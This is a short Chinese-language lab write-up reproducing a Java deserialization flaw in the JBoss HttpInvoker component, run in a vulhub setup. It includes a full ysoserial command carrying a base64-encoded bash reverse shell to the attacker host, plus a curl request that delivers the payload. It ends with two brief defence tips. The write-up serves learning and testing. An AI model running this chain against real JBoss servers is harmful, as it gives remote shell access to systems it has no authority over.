一、漏洞介绍
1.1 漏洞详情
该漏洞为Java反序列化错误类型,存在于JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。该过滤器没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化。该漏洞在内网中比较常见。
1.2 影响版本
- JBoss 5.x 和 6.x
二、环境搭建
- 受害者:192.168.159.129(vulhub)
- 攻击者:192.168.158.128(kali)
》》进入到如下目录启动环境
》》查看启动的端口
》》访问web页面
三、漏洞复现
》》nmap探测其端口
》》访问该端口服务
》》使用ysoserial生成序列化数据,并重定向到exp.ser文件
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvMTkxMTEgMD4mMQ==}|{base64,-d}|{bash,-i} " >exp.ser
Tips1:ysoserical用法:
java -jar ysoserial.jar [payload] “[command]”
Tips2:由于目标jdk版本过高,因此这里使用的利用库为CommonsCollections5(具体根据对方jdk版本选择)
Tips3:我们使用bash反弹shell,由于Runtime.getRuntime().exec()中不能使用重定向和管道符符号,这里需要对其进行Base64编码再使用
》》攻击者启动nc监听shell
》》通过二进制POST方式发送攻击载荷到 /invoker/readonly
curl http://192.168.159.129:8080/invoker/readonly --data-binary @exp.ser
》》攻击者成功收到shell
四、漏洞防御
- 不要将服务暴露在公网
- 升级JBoss到最新版本